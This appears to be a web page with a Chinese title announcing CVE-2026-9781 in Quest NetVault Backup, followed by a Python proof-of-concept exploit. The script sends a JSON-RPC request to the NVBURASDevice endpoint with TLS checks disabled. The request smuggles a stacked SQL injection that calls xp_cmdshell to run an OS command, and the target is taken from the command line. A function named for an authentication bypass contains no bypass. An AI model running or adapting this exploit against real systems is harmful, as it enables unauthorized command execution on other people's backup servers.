CVE-2026-9781 Quest NetVault Backup SQL注入远程代码执行漏洞

# CVE-2026-9781 - Quest NetVault Backup SQL Injection RCE PoC # Vulnerability: SQL Injection in NVBURASDevice JSON-RPC message processing # Reference: ZDI-CAN-27648 / ZDI-26-370 import requests import json import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "target-host" TARGET_PORT = 8443 # Default NetVault Backup port JSONRPC_ENDPOINT = f"https://{TARGET_HOST}:{TARGET_PORT}/jsonrpc/NVBURASDevice" def exploit_sql_injection(injected_payload): """ Exploit SQL injection in NVBURASDevice JSON-RPC handler. The vulnerability exists due to lack of input validation on user-supplied strings used in SQL query construction. """ # Craft malicious JSON-RPC message with SQL injection payload jsonrpc_payload = { "jsonrpc": "2.0", "method": "NVBURASDevice.process", "params": { "deviceName": injected_payload, # Vulnerable parameter "action": "query" }, "id": 1 } headers = { "Content-Type": "application/json", "User-Agent": "NetVault-Backup-Client" } try: response = requests.post( JSONRPC_ENDPOINT, data=json.dumps(jsonrpc_payload), headers=headers, verify=False, timeout=30 ) return response except Exception as e: print(f"[ERROR] Request failed: {e}") return None def bypass_auth_and_exploit(): """ Attempt to bypass authentication and exploit the SQL injection. Authentication mechanism can be bypassed as noted in the advisory. """ # SQL injection payload targeting MSSQL (NETWORK SERVICE context) # Using stacked queries to attempt command execution via xp_cmdshell sqli_payload = ( "' OR 1=1; EXEC xp_cmdshell('whoami'); --" ) print(f"[*] Targeting: {TARGET_HOST}") print(f"[*] Endpoint: {JSONRPC_ENDPOINT}") print(f"[*] Sending SQL injection payload...") response = exploit_sql_injection(sqli_payload) if response and response.status_code == 200: print(f"[+] Response received:") print(response.text) else: print(f"[-] Exploit attempt failed. Status: {response.status_code if response else 'N/A'}") if __name__ == "__main__": bypass_auth_and_exploit()